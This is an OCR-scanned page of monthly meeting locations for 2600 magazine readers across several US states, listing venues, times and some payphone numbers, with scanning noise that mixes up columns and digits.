Macy & Alameda. Inside main entrance don 't take incoming calls. 
by bank of phones. Payphones: (21 3) Missouri 
972-951 9, 9520 ; 625-9923, 9924; 6 1 3- Kansas City (Independence): Barnes 
9704, 9746. & Noble, 1 9 1 20 East 39th S1. 
Monterey: London Bridge Pub, 2 St. Louis (Maryland Heights): Rivalz 
Whari I I .  Technology Cafe, 1 1 502 Dorsett Road. 
Orange County (Lake Forest): Springfield:  Borders Books and Music 
Diedr ich Coffee, 22621 Lake Forest coffeeshop, 3300 South Glenstone 
Drive. 8 pm. Ave . ,  one block south of Battlefield 
Sacramento: Camil le's at the corner Mal l .  5:30 pm. 
of Sunrise and Madiso n .  Nebraska 
San Diego: Regents Pizza, 4 1 50 Re- Omaha: Crossroads Mall Food Court. 
gents Park Row # 1 70. 7 pm. 
San Francisco: 4 Embarcadero Plaza 
( ins ide) .  Payphones: ( 4 1 5 )  398-9803, 
9804, 9805, 9806. 

Nevada 
Las Vegas: Dog House Cafe, 2 1 9 1  E 
Tropicana Ave. 

Virginia 
Arlington : (see District of Columbia) 
Virginia Beach: Lynnhaven Mall  on 
Lynnhaven Parkway. 6 pm. 

Washington 
Seattle: Washington State Convention 
Center. 2nd level, south side. 6 pm. 

Wisconsin 
Madison : Union South (227 N .  Ran
dal l  Ave . )  on the lower level in  the Mar
tin Luther King Jr. Lounge. Payphone:  
(608) 251 -9909. 
Milwaukee : The Node, 1 504 E .  North 
Ave. 

All meetings take place on the first Fri
day of the month. Unless otherwise 
noted, they start at 5 pm local time. To 
start a meeting i n  your city, send email 
10 meetings@2600.com. 

P a g e E. i! ---------------------- i! E. D O  ,., a 9 a z i n e 






